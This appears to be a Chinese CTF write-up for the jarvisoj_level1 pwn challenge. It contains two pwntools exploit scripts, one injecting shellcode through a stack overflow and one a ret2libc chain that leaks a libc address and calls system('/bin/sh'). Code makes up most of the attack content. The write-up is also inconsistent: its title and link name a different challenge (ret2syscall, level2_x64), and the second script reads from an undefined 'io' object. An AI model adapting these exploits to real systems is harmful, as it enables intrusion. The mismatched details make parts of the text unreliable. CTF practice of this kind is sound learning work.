ROP-ret2syscall,栈溢出
https://buuoj.cn/challenges#jarvisoj_level2_x64
checksec



保护全关,32位系统。其中一开始会输出buf的地址
这个逻辑很简单,我先输入shellcode,然后栈溢出,返回到栈上的buf地址运行即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux')
ip='ip_addr' port=1111 file_addr = './jarvisoj_level1'
p = process(file_addr) elf = ELF(file_addr)
buf_addr = int(p.recvline()[len("What's this:")+2:-2],16) print(buf_addr) payload = asm(shellcraft.sh()) payload += b'a'*(136-len(payload)+4) payload += p32(buf_addr)
p.send(payload) p.interactive()
|
这个线上似乎没有setbuf,所以输入和输出有点小问题。

似乎需要我先输入什么才会有反应…
妈的,虽然是题目的bug,但是也不是没有解决方案。我么构造这么一个payload流程:

他似乎收到回车才会输出地址,那么我就先输入一堆东西然后回车,这样他就会输出地址,又会再次返回到vulnerable函数中再输出一次地址,这个时候我再输入shellcode+返回地址为buf。他就可以去buf执行了。
似乎还是不行…
还有一个libc的办法来做,思路是这样的:
构造rop调用write函数来泄露libc的基地址,并且再次调用main函数,根据libc的基址得到system和/bin/sh字符串地址,然后再次利用漏洞构造rop调用system(‘\bin\sh’)即可。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * from LibcSearcher import * context(log_level = 'debug', arch = 'i386', os = 'linux')
ip='node5.buuoj.cn' port=28043 file_addr = './jarvisoj_level1' p = remote(ip,port)
elf = ELF(file_addr) main_addr=0x80484b7 write_plt=elf.plt['write'] write_got=elf.got['write']
payload =b'a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) p.send(payload) write_addr = u32(io.recv(4)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh') payload =b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
p.send(payload) p.interactive()
|